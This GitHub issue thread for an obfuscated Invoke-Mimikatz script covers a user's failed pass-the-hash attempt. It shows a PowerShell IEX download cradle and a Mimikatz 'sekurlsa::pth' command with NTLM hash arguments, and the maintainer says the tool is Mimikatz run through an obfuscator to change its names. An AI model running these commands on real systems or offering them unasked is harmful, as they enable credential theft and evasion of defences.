search

DanMcInerney / Obf-Cats

Obfuscated Invoke-Mimikatz script
14 stars 8 forks source link

PTH arguments #1

Open XemBryan opened 4 years ago

XemBryan commented 4 years ago

I'm loading to memory:

IEX (New-Object Net.WebClient).DownloadString('C:\Users\aki\Desktop\new\Invoke-Cats.ps1') and then executing Invoke-Catspass the hash with command:

PS C:\Users\Administrator> Invoke-Cats-Command 'sekurlsa::pth /user:Administrator /domain:CISCO /NTLM:someNTLM' returns an error:

ERROR kuhl_m_sekurlsa_pth ; Missing argument : user But the argument is there. It happens on W2012

So the question is: how to write Cats command in Powershell to not complaint about arguments?

DanMcInerney commented 4 years ago

Hmm not sure. This script requires regularly rerunning mimikatz through invoke-obfuscation and I haven't done it in a while. But basically all this script is is Invoke-Mimikatz run through Invoke-Obfuscation with function names changed. It takes several tries to get working output and requires a lot of testing that I don't really want to do right now.